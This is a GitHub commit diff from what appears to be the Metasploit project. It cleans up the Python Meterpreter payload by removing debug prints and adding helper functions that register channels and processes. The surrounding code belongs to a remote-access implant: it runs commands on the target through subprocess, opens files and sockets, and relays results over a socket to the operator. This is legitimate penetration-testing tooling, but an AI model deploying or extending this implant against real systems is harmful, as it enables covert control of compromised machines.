Skip to content

Commit 2e152a5

Browse files
zeroSteinerTod Beardsley
authored andcommitted
Remove debug print and fix channel additions.
1 parent d132aa9 commit 2e152a5

File tree

2 files changed

+20
-20
lines changed

2 files changed

+20
-20
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 4 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -306,8 +306,7 @@ def channel_create_stdapi_fs_file(request, response):
306306
else:
307307
fmode = 'rb'
308308
file_h = open(fpath, fmode)
309-
channel_id = len(meterpreter.channels)
310-
meterpreter.channels[channel_id] = file_h
309+
channel_id = meterpreter.add_channel(file_h)
311310
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
312311
return ERROR_SUCCESS, response
313312

@@ -331,8 +330,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
331330
pass
332331
if not connected:
333332
return ERROR_CONNECTION_ERROR, response
334-
channel_id = len(meterpreter.channels)
335-
meterpreter.channels[channel_id] = sock
333+
channel_id = meterpreter.add_channel(sock)
336334
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
337335
return ERROR_SUCCESS, response
338336

@@ -366,8 +364,6 @@ def stdapi_sys_process_close(request, response):
366364
if not proc_h_id:
367365
return ERROR_SUCCESS, response
368366
proc_h_id = proc_h_id['value']
369-
if not proc_h_id in meterpreter.processes:
370-
print("[-] trying to close non-existent channel: " + str(proc_h_id))
371367
proc_h = meterpreter.channels[proc_h_id]
372368
proc_h.kill()
373369
return ERROR_SUCCESS, response
@@ -404,13 +400,11 @@ def stdapi_sys_process_execute(request, response):
404400
proc_h.start()
405401
else:
406402
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
407-
proc_h_id = len(meterpreter.processes)
408-
meterpreter.processes[proc_h_id] = proc_h
403+
proc_h_id = meterpreter.add_process(proc_h)
409404
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
410405
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
411406
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
412-
channel_id = len(meterpreter.channels)
413-
meterpreter.channels[channel_id] = proc_h
407+
channel_id = meterpreter.add_channel(proc_h)
414408
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
415409
return ERROR_SUCCESS, response
416410

data/meterpreter/meterpreter.py

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -192,6 +192,20 @@ def register_function_windll(self, func):
192192
if has_windll:
193193
self.register_function(func)
194194

195+
def add_channel(self, channel):
196+
idx = 0
197+
while idx in self.channels:
198+
idx += 1
199+
self.channels[idx] = channel
200+
return idx
201+
202+
def add_process(self, process):
203+
idx = 0
204+
while idx in self.processes:
205+
idx += 1
206+
self.processes[idx] = process
207+
return idx
208+
195209
def run(self):
196210
while self.running:
197211
if len(select.select([self.socket], [], [], 0)[0]):
@@ -203,10 +217,8 @@ def run(self):
203217
request = ''
204218
while len(request) < req_length:
205219
request += self.socket.recv(4096)
206-
print('[+] received ' + str(len(request)) + ' bytes')
207220
response = self.create_response(request)
208221
self.socket.send(response)
209-
print('[+] sent ' + str(len(response)) + ' bytes')
210222
else:
211223
channels_for_removal = []
212224
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
@@ -241,7 +253,6 @@ def run(self):
241253
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
242254
pkt = struct.pack('>I', len(pkt) + 4) + pkt
243255
self.socket.send(pkt)
244-
print('[+] sent ' + str(len(pkt)) + ' bytes')
245256

246257
def handle_dead_resource_channel(self, channel_id):
247258
del self.channels[channel_id]
@@ -253,7 +264,6 @@ def handle_dead_resource_channel(self, channel_id):
253264
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
254265
pkt = struct.pack('>I', len(pkt) + 4) + pkt
255266
self.socket.send(pkt)
256-
print('[+] sent ' + str(len(pkt)) + ' bytes')
257267

258268
def _core_loadlib(self, request, response):
259269
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
@@ -331,6 +341,7 @@ def _core_channel_read(self, request, response):
331341
if channel_id not in self.channels:
332342
return ERROR_FAILURE, response
333343
channel = self.channels[channel_id]
344+
data = ''
334345
if isinstance(channel, file):
335346
data = channel.read(length)
336347
elif isinstance(channel, STDProcess):
@@ -380,22 +391,17 @@ def create_response(self, request):
380391
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
381392
resp += tlv_pack(reqid_tlv)
382393

383-
print("[*] running method: " + method_tlv['value'])
384394
if method_tlv['value'] in self.extension_functions:
385395
handler = self.extension_functions[method_tlv['value']]
386396
try:
387397
result, resp = handler(request, resp)
388398
except Exception, err:
389-
print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err))
390399
result = ERROR_FAILURE
391400
else:
392401
result = ERROR_FAILURE
393-
if result == ERROR_FAILURE:
394-
print("[*] method: " + method_tlv['value'] + " failed")
395-
396402
resp += tlv_pack(TLV_TYPE_RESULT, result)
397403
resp = struct.pack('>I', len(resp) + 4) + resp
398404
return resp
399-
print("[+] starting meterpreter")
405+
400406
met = PythonMeterpreter(s)
401407
met.run()

0 commit comments

Comments
 (0)